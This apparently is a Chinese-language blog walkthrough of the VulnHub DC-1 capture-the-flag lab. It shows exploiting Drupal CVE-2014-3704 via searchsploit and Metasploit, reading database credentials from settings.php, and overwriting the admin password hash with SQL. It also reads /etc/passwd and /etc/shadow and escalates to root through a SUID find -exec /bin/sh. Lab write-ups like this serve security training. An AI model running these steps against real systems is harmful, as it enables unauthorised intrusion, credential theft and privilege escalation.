vulnhub-DC:1 - Flag夺取记
2020-05-21 17:58:24
admin
119
下载地址https://download.vulnhub.com/dc/DC-1.zip
nmap -A -T4 10.10.10.132 --script=vuln
通过返回结果看到存在CVE2014-3704
seachsploit搜索 -m参数可以把exp保存到当前位置
接着在msf上搜
漏洞利用getshell
切换shellcat flag1.txtEvery good CMS needs a config file - and so do you.
发现flag1
寻找drupal配置文件
drupal数据库配置文件默认在
/sites/default/settings.php
发现flag2
cat settings.php<?php/** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */$databases = array ('default' =>array ('default' =>array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),);
使用python获取交互shell查看当前权限
python -c '__import__("pty").spawn("/bin/bash")'
可以看到是www权限
通过查看数据库
发现密码hash加盐,破解难度比较大,可以通过更新密码,或者利用其他方法
利用
update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';
`
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';`
然后用password登陆
之前通过seachsploit发现有个可以添加一个管理权限的脚本
把此脚本复制到当前目录下
也可以登录到管理员
可直接添加有admin权限的账户
拿到第3个flag
查看提示
whoamiuname -acat /etc/passwdcat /etc/shadow
发现flag4在home目录下
他让你使用root访问
接下来提权
通过flag3获取到提示的使用find -exec
搜索suid权限的程序
find / -user root -perm -4000 -print 2>/dev/nullfind / -type f -perm -u=s 2>/dev/null
发现使用find有root权限
然后用find … - exec “…” 查找文件后并执行命令
find ./ -exec "whoami" \;find ./ -exec "/bin/sh" \;
成功提到root权限
成功拿到第五个flag